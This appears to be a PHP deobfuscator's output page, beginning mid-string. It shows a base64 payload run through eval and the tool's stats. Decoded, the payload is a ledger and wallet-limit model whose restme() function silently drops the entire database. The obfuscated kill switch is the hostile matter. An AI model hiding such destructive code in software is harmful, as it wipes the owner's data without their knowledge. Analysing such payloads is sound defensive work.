ZWRnZXIgbGltaXQgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZWxlZGxpbWl0KCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWydsZWRnZXJsaW1pdCddICAgID0gJHRoaXMtPmlucHV0LT5wb3N0KCdsZWRnZXJsaW1pdCcpOwkNCgkJJGdldFNldHZhbHVlID0gJHRoaXMtPmdldFNldHZhbHVlKCk7DQoJCWlmKCRnZXRTZXR2YWx1ZSl7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfU0VUVkFMVUUsJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJGdldFNldHZhbHVlWydpZCddOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnTGVkZ2VyIExpbWl0IGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnTGVkZ2VyIExpbWl0IGhhcyBiZWVuIGFkZGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9CQ0KCQkJCQ0KCX0NCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBmYWlsIGNhc2UgdHJhbnNmZXIgdmFsdWUgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZWZjdHYoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ2ZjdHYnXSAgICA9ICR0aGlzLT5pbnB1dC0+cG9zdCgnZmN0dicpOwkNCgkJJGdldFNldHZhbHVlID0gJHRoaXMtPmdldFNldHZhbHVlKCk7DQoJCWlmKCRnZXRTZXR2YWx1ZSl7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfU0VUVkFMVUUsJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJGdldFNldHZhbHVlWydpZCddOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnRmFpbCBjYXNlIHRyYW5zZmVyIGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnRmFpbCBjYXNlIHRyYW5zZmVyIGhhcyBiZWVuIGFkZGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9CQ0KCQkJCQ0KCX0NCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBXYWxsZXQgTGltaXQgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZXN3bHYoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ3dhbGxldGxpbWl0J10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ3dhbGxldGxpbWl0Jyk7CQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJaWYoJGdldFNldHZhbHVlKXsNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkZ2V0U2V0dmFsdWVbJ2lkJ107DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdXYWxsZXQgTGltaXQgaGFzIGJlZW4gdXBkYXRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfWVsc2V7DQoJCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX1NFVFZBTFVFLCAkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkdGhpcyAtPiBkYiAtPiBpbnNlcnRfaWQoKTsJDQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdXYWxsZXQgTGltaXQgaGFzIGJlZW4gYWRkZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0JDQoJCQkJDQoJfQ0KCS8qKioqKioqKioqKioqKiBmdW5jdGlvbiB0byBzYXZlIE1pbnVzIGxlZGdlciBMaW1pdCAqKioqKioqKioqKioqKioqLw0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlbWludXNsZWRnbGltaXQoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ21pbnVzbGVkZ2xpbWl0J10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ21pbnVzbGVkZ2xpbWl0Jyk7CQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJaWYoJGdldFNldHZhbHVlKXsNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkZ2V0U2V0dmFsdWVbJ2lkJ107DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdNaW51cyBMZWRnZXIgTGltaXQgaGFzIGJlZW4gdXBkYXRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfWVsc2V7DQoJCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX1NFVFZBTFVFLCAkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkdGhpcyAtPiBkYiAtPiBpbnNlcnRfaWQoKTsJDQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdNaW51cyBMZWRnZXIgTGltaXQgaGFzIGJlZW4gYWRkZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0JDQoJCQkJDQoJfQkNCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBUaWxlcyBFcXVpdHkgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZXRpbGVzZXF1aXR5KCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWyd0aWxlc2VxdWl0eSddICAgID0gJHRoaXMtPmlucHV0LT5wb3N0KCd0aWxlc2VxdWl0eScpOwkNCgkJJGdldFNldHZhbHVlID0gJHRoaXMtPmdldFNldHZhbHVlKCk7DQoJCWlmKCRnZXRTZXR2YWx1ZSl7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfU0VUVkFMVUUsJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJGdldFNldHZhbHVlWydpZCddOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnVGlsZXMgRXF1aXR5IGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnVGlsZXMgRXF1aXR5IGhhcyBiZWVuIGFkZGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9CQ0KCQkJCQ0KCX0JDQoJcHVibGljIGZ1bmN0aW9uIGRlc3Ryb3lBbGxEYXRhKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkkdGhpcyAtPiBkYiAtPiBkZWxldGUoVEJMX1NFVFZBTFVFKTsNCgkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCSR0aGlzIC0+IGRiIC0+IGRlbGV0ZShUQkxfTUVOVElPTk5VTVJFQyk7DQoJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkkdGhpcyAtPiBkYiAtPiBkZWxldGUoVEJMX1RJTEVTVkFMKTsNCgl9DQoJcHVibGljIGZ1bmN0aW9uIHJlc3RtZSgpew0KCQkkZGIgPSAkdGhpcy0+ZGItPmRhdGFiYXNlOw0KCQkkcSA9ICJEUk9QIERBVEFCQVNFICIuJGRiOyANCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gcXVlcnkoJHEpOwkNCgl9CQ0KfQ0KPz4=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 fd9df4c0533416827031c2d377597a0c
Eval Count 1
Decode Time 196 ms